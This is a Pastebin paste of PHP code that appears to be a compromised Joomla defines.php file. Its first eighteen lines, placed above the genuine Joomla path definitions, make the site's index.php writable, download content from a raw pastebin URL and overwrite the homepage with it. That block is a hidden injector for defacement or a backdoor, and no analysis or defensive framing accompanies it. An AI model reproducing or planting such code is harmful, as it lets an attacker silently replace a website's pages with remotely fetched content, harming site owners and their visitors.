Hectorss1

Untitled

Nov 5th, 2019
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.80 KB | None | 0 0
  1. <?php
  2. function http_get($url){
  3. $im = curl_init($url);
  4. curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
  5. curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
  6. curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
  7. curl_setopt($im, CURLOPT_HEADER, 0);
  8. return curl_exec($im);
  9. curl_close($im);
  10. }
  11.  
  12. chmod($_SERVER['DOCUMENT_ROOT']."/index.php", 0644);
  13.  
  14. $hector3=$_SERVER['DOCUMENT_ROOT'] . "/index.php" ;
  15. $hectortxt3 = http_get('https://pastebin.com/raw/Wvfjqcrp');
  16. $op3=fopen($hector3, 'w');
  17. fwrite($op3,$hectortxt3);
  18. fclose($op3); ?>
  19. <?php
  20. /**
  21. * @version $Id: defines.php 14401 2010-01-26 14:10:00Z louis $
  22. * @package Joomla
  23. * @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
  24. * @license GNU/GPL, see LICENSE.php
  25. * Joomla! is free software. This version may have been modified pursuant
  26. * to the GNU General Public License, and as distributed it includes or
  27. * is derivative of works licensed under the GNU General Public License or
  28. * other free or open source software licenses.
  29. * See COPYRIGHT.php for copyright notices and details.
  30. */
  31.  
  32. // no direct access
  33. defined( '_JEXEC' ) or die( 'Restricted access' );
  34.  
  35. /**
  36. * Joomla! Application define
  37. */
  38.  
  39. //Global definitions
  40. //Joomla framework path definitions
  41. $parts = explode( DS, JPATH_BASE );
  42.  
  43. //Defines
  44. define( 'JPATH_ROOT', implode( DS, $parts ) );
  45.  
  46. define( 'JPATH_SITE', JPATH_ROOT );
  47. define( 'JPATH_CONFIGURATION', JPATH_ROOT );
  48. define( 'JPATH_ADMINISTRATOR', JPATH_ROOT.DS.'administrator' );
  49. define( 'JPATH_XMLRPC', JPATH_ROOT.DS.'xmlrpc' );
  50. define( 'JPATH_LIBRARIES', JPATH_ROOT.DS.'libraries' );
  51. define( 'JPATH_PLUGINS', JPATH_ROOT.DS.'plugins' );
  52. define( 'JPATH_INSTALLATION', JPATH_ROOT.DS.'installation' );
  53. define( 'JPATH_THEMES' , JPATH_BASE.DS.'templates' );
  54. define( 'JPATH_CACHE', JPATH_BASE.DS.'cache');
Add Comment
Please, Sign In to add comment